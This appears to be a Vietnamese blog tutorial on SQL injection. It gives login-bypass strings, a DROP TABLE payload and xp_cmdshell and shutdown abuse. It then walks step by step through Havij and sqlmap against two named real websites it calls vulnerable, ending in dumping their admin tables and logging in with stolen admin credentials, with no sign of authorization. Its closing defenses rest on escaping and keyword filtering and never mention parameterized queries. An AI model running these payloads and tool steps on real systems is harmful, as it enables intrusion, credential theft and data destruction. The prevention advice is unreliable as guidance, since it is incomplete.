SQL Injection
Bài đăng này đã không được cập nhật trong 3 năm
1. SQL Injection là gì?
SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update, ... trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. SQL Injection thường được biết đến như là một vật trung gian tấn công trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...
2. Một Số Dạng Tấn Công SQL Injection thông thường
Có bốn dạng tấn công thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures
Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, kẻ tấn công có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ như với một form login như dưới đây. Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1. Nếu thành công, thì có thể login vào mà không cần phải biết username và password.
- Nhập vào ô email với nội dụng:
do.thi.minh.hoa@framgia.com' OR 1 = 1 LIMIT 1 -- ' ]
- Nhập vào ô password với nội dụng bất kỳ, sau đó click vào nút Login.
Chúng ta có thể đăng nhập thành công. Nguyên nhân chúng ta có thể dễ dàng đăng nhập vào hệ thống mà thậm chí chúng ta không có thông tin đăng nhập là vì khi đăng nhập hệ thống, chương trình sẽ tự động tạo ra cậu lệnh truy vấn dữ liệu với tham số được truyền vào từ form login
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);
Với dữ liệu chúng ta vừa nhập, câu lệnh truy vấn sẽ là:
SELECT * FROM users WHERE email = 'do.thi.minh.hoa@framgia.com' OR 1 = 1 LIMIT 1 -- ' ]' AND password = '123lala';
Sau kí tự “–“, hệ thống sẽ hiểu đó là comment, chương trình sẽ không thực thi những gì phía sau nó. Câu truy vấn có thể rút gọn lại:
SELECT * FROM leo.users WHERE email = 'do.thi.minh.hoa@framgia.com' OR 1 = 1 LIMIT 1
Điều kiện của câu lệnh truy vấn: email = 'do.thi.minh.hoa@framgia.com' OR 1 = 1
, nó luôn là true, đó là lý do vì sao chúng ta có thể vượt qua màn hình đăng nhập một cách dễ dàng.
Ví dụ này mô tả cho dạng tấn công vượt qua kiểm tra lúc đăng nhập
Chúng ta có thể thử chạy câu lệnh truy vấn trên thông qua SQL fiddle: http://sqlfiddle.com/#!9/d8029e4/3
Khi phát hiện thấy máy chủ hay trang web bị lỗi hacker sẽ dùng các lệnh SELECT để lấy dữ liệu từ máy chủ hay lệnh INSERT đển chèn thông tin vào cơ sở dữ liệu.
Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Chúng ta có tể gặp các website tin tức có các tham số được truyền vào như: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% có khả năng khai thác được lỗi này). Ví dụ http://www.ampak.com.tw/product.php?id=22 là một website bị lỗi SQL Injection thì chúng ta sẽ thử với http://www.ampak.com.tw/product.php?id=22' hoặc http://www.ampak.com.tw/product.php?id=22' thì đều trả về trang lỗi Trong các tình huống thông thường, URL hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó bắt đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 OR 1=1 (nghĩa là http://www.ampak.com.tw/product.php?id=0 or 1=1) Câu truy vấn SQL lúc này sẽ không trả về trang lỗi mặc dù chúng ta không có sản phẩm nào có ID = 0, vì nó sẽ thực hiện câu lệnh:
SELECT * FROM Products WHERE Product_ID=0 or 1=1
Tương tự như trên, kẻ tấn công có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập thêm lệnh tiếp theo:
'; DROP TABLE users --
Lúc này, chương trình sẽ chạy câu truy vấn thực hiện việc xóa bảng users.
Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('1st Value', '2nd Value', '3rd Value')
Thì chắc chắn sẽ bị lỗi Sql Injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là:
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như chúng ta đã yêu cầu thực hiện thêm một lệnh nữa đó là:
SELECT TOP 1 FieldName FROM TableName
Dạng tấn công sử dụng stored-procedures
Stored Procedure được sử dụng trong lập trình web với mục đích nhằm giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kỹ thuật SQL Injection. Tuy nhiên những kẻ tấn công vẫn có thể lợi dụng những stored procedure để tấn công vào hệ thống. Việc tấn công này sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống ‘sa’ .
Ví dụ 1: stored procedure splogin gồm hai tham số là username và password, nếu kẻ tấn công nhập:
Username: thanhcong
Password: ' ; shutdown- -
Lệnh gọi stored procedure như sau: EXEC splogin 'thanhcong','';shutdown- -'
Lệnh shutdown thực hiện dừng sql server ngay lập tức.
Ví dụ 2:
Hoặc EXEC xp_cmdshell 'cmd.exe dir C: '
Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
3. Một số tool để khai thác
Hiện nay có rất nhiều công cụ quét lỗ hổng bảo mật (bao gồm SQL injection). Những công cụ này cho phép phát hiện vào khai thác lỗ hổng SQL injection khá mạnh mẽ. Một số công cụ khai thác lỗ hổng SQL injection tự động hay được sử dụng như:
- Havij
- Sqlmap
3.1. Havij
Havij là tool giúp tester thâm nhập để tìm kiếm và khai thác lỗ hổng SQL Injection trên một trang web. Người dùng có thể thực hiện các phương pháp khai thác lỗ hổng SQL Injection một cách dễ dàng qua giao diện. Havij có thể lấy tên đăng nhập CSDL, mật khẩu mã Hash, dump bảng và cột, trích xuất dữ liệu từ cơ sở dữ liệu, thực hiện các câu lệnh SQL tấn công máy chủ của nạn nhân, thậm chí truy cập vào các tập tin quan trọng của hệ thống và thực hiện các lệnh tương tác với hệ điều hành (shell-chạy command line). Sức mạnh đặc biệt của Havij để phân biệt nó với các công cụ tương tự là nhờ phương thức Injection độc đáo. Tỉ lệ thành công của các cuộc tấn công nhờ Havij lên tới 95%. Với giao diện thân thiện và thiết đặt hệ thống phát hiện lỗ hổng tự động khiến nó trở nên dễ dàng cho tất cả người dùng. Bước 1. Download Havji từ Google và khởi chạy phần mềm. Bước 2. Tìm kiếm trang web chứa lỗi SQL Injection. Có thể sử dụng google dork để tìm website mục tiêu. Bước 3. Điền địa chỉ website mục tiêu vào ô "Target". Sau đó bấn nút "Analyze". Bước 4. Nếu webiste có khả năng bị lỗi SQL, bạn sẽ nhìn thấy phiên bản của DB SQL và tổng số cột sẽ được hiển thị trong hình dưới đây. Nếu website mục tiêu của bạn không có khả năng bị lỗi SQL, thì Hajiv thông báo cho bạn kết quả "âm tính" (negative outcome.) Bước 5. Click vào tab "Tables", bạn sẽ thấy danh sách cơ sở dữ liệu được liệt kê ở bên trái. Chọn cơ sở dữ liệu mà bạn muốn và click vào nút "Get Tables". Bạn sẽ tìm thấy tất cả các bảng được liệt kê ở bên trái như một "sub menu" Bước 6. Xác định bảng mà bạn muốn để xâm nhập và click vào nó hoặc chọn tất cả các bảng có trong cơ sở dữ liệu. Trong trường hợp này, mình chọn bảng "adminnistrator". Sau khi chọn bảng mục tiêu, click vào nút "Get Columns". Khi các cột đã được liệt kê ra, chúng ta tìm tới cột mà chúng ta cần. Khi đã lựa chọn được cột mà chúng ta cần lấy dữ liệu, click vào nút "Get Data". Như vậy chúng ta đã truy cập thành công cơ sở dữ liệu với tất cả các thông tin về người dùng và có thể sửa đổi thông tin trong cơ sở dữ liệu theo cách mà bạn muốn. Bước 7. Dùng thông tin về admin đã lấy được ở trên để đăng nhập vào website thôi nào.
3.2. Sqlmap
- Download Sqlmap tại http://sqlmap.org/
- Sqlmap được viết bằng ngôn ngữ Python, vì vậy để sử dụng tool này chúng cần cài đặt Python. Download python tại http://www.python.org/downloads/
- Chọn một website để thực hiện test, ở đây dùng http://www.tunesoman.com/product.php?id=200
Bước 1. Mở cmd và gõ lệnh như dưới. Sqlmap sẽ phát hiện lỗ hổng của mục tiêu và đưa ra thông tin về lỗ hổng.
python sqlmap.py –u "http://www.tunesoman.com/product.php?id=200"
"-u" theo sau được hiểu là đường dẫn. Lệnh này để kiểm tra URL trên có dính lỗi SQL Injection không?
Bước 2. Khi đã xác định được là website mục tiêu tồn tại lỗ hổng SQL Injection, ta tiến hành tìm tên cơ sở dữ liệu.
python sqlmap.py –u "http://www.tunesoman.com/product.php?id=200" --dbs
Khi đã xác định được url trên bị lỗi, sử dụng flag "--dbs" để liệt kê các database
Bước 3. Sau khi xác định được tên cơ sở dữ liệu, ta sẽ tìm tiếp tên các bảng có trong cơ sở dữ liệu.
python sqlmap.py –u "http://www.tunesoman.com/product.php?id=200" --tables –D db363851433
"--tables –D db363851433" đùng để liệt kê ra các bảng trong database db363851433
Bước 4. Xác định tên các cột trong bảng.
python sqlmap.py –u "http://www.tunesoman.com/product.php?id=200" --columns –D db363851433 –T admin_user
" --columns –D db363851433 –T admin_user" dùng để liệt kê ra các tên cột có trong bảng admin_user thuộc cơ sở dữ liệu db363851433
Bước 5. Lấy dữ liệu từ bảng mong muốn.
python sqlmap.py –u "http://www.tunesoman.com/product.php?id=200" --dump –D db363851433 –T admin_user
--dump: dùng để lấy được toàn bộ dữ liệu của bảng admin_user
Thực hiện Bước 5. liên tiếp với tất cả các tên bảng ta tìm được ở Bước 3. thì như vậy ta đã lấy được toàn bộ cơ sở dữ liệu của website mục tiêu.
4. Phương pháp phòng tránh
4.1. Kiểm soát chặt chẽ dữ liệu đầu vào
Điểm yếu của SQL Injection bắt nguồn từ việc xử lý dữ liệu của người dùng không tốt, do đó vấn đề xây dựng mã nguồn đảm bảo an ninh là cốt lõi trong việc chống SQL Injection. Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh sql bằng cách kiểm soát chặt chẽ tất cả các dữ liệu được nhận từ đối tượng request (Request, Request. QueryString, Request.Form, Request. Cookies, và Request.Server Variables).
Trong trường hợp dữ liệu nhập vào là chuỗi, lỗi xuất phát từ việc có dấu nháy đơn trong dữ liệu. Để tránh điều này, thay thế các dấu nháy đơn bằng hàm Replace để thay thế bằng 2 dấu nháy đơn:
- p_strUsername = Replace(Request.Form(“txtUsername”), “‘“, “‘’”)
- p_strPassword = Replace(Request.Form(“txtPassword”), “‘“, “‘’”)
- Thiết lập độ dài tối đa cần thiết: length <= MAX_LENGTH
- Lọc bỏ ký tự nguy hiểm (bao gồm các meta characters trong DBMS), lọc bỏ các từ khóa như union, select, order, information_schema, insert, drop, load_file… (sử dụng các hàm như mysql_real_escape_string(), preg_replace()…)
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không:
- p_lngID = CLng(Request(“ID”)) Như vậy, nếu người dùng truyền vào một chuỗi, hàm này sẽ trả về lỗi ngay lập tức.
Sử dụng hàm sprintf và mysql_real_escape_string để xác định kiểu dữ liệu cho câu truy vấn.
- Hàm sprintf gồm có hai tham số trở lên, tham số thứ nhất là chuỗi và trong đó có chứa một đoạn Regex để thay thế, tham số thứ 2 trở đi là các giá trị sẽ được thay thế tương ứng. Giá trị ráp vào sẽ được convert phù hợp rồi mới rap vào.
- Hàm mysql_real_escape_string có nhiệm vụ sẽ chuyển một chuỗi thành chuỗi query an toàn, nên ta sẽ kết hợp nó để gán vào câu truy vấn.
Ví dụ:
$sql = "SELECT * FROM member WHERE username = '%s' AND password = '%s'";
echo sprintf($sql, mysql_real_escape_string("thehalfheart"), mysql_real_escape_string("matkhau"));
Kết quả là:
SELECT * FROM member WHERE username = 'thehalfheart' AND password = 'matkhau'.
4.2. Xử lý thông báo lỗi trên hệ thống
Ngoài ra để tránh các nguy cơ từ tấn công SQL Injection, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển tới cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
4.3. Backup dữ liệu
Phòng trừ trường hợp bị tấn công và mất hoàn toàn CSDL chúng ta nên thường xuyên backup dữ liệu.
4.4. Sử dụng các tool có tỉ lệ thành công cao để tấn công
Hiện nay thì vấn đề app bị tấn công bằng lỗi SQL Injection không còn nhiều như trước đây nữa, tuy nhiên để phòng chống thì chúng ta cũng nên kiểm tra trước khi đưa vào sử dụng bằng cách tấn công bằng các tool có sẵn như: Havij, Kali, SQLmap… Ngoài ra thì việc thường xuyên cập nhật các phương thức tấn công mới cũng sẽ giúp ứng dụng của mình có tính bảo mật cao. Tuy nhiên, kỹ thuật và công nghệ thay đổi từng ngày và thế giới hacker có nhiều cao thủ cao siêu thì rất khó đối phó, nên việc tốt nhất là không nên thách thức hoặc gây thù với bất cứ ai. Hy vọng bài viết khiến bạn cảm thấy thú vị.
All rights reserved